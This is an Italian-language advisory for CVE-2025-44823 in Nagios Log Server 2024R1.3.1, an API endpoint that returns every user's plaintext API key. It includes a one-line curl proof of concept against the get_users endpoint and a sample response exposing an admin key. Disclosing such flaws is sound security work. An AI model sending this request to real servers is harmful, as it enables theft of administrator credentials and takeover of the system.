Esposizione autenticata di chiavi API in Nagios Log Server 2024R1.3.1

▶️ PoC Demo

ID CVE: CVE-2025-44823

Data: 2025-04-02

Autori: Alex Tisdale, Seth Kraft

Homepage del fornitore: https://www.nagios.com/

Changelog del fornitore: https://www.nagios.com/changelog/#log-server

Link del software: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Versione: 2024R1.3.1 e precedenti

Testato su: Nagios Log Server 2024R1.3.1 (configurazione predefinita, Ubuntu 20.04)

CWE: CWE-497

CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Autorizzazione

Solo per ricerca e test autorizzati. Non utilizzarlo contro sistemi senza autorizzazione.

Descrizione

Una vulnerabilità a livello API in Nagios Log Server 2024R1.3.1 consente a qualsiasi utente in possesso di un token API valido di recuperare l'elenco completo degli account utente insieme alle relative chiavi API in chiaro, incluse le credenziali di amministratore. Questa falla consente l'enumerazione degli utenti, l'escalation dei privilegi e la piena compromissione del sistema tramite l'uso non autorizzato dei token esposti.

PoC

Passaggio 1: Accedi all'endpoint vulnerabile

curl -X GET "http://<target-ip>/nagioslogserver/index.php/api/system/get_users?token=<valid_token>"

Risposta di esempio

[
  {
    "name": "devadmin",
    "username": "devadmin",
    "email": "[email protected]",
    "apikey": "dcaa1693a79d651ebc29d45c879b3fbbc730d2de",
    "auth_type": "admin",
    ...
  }
]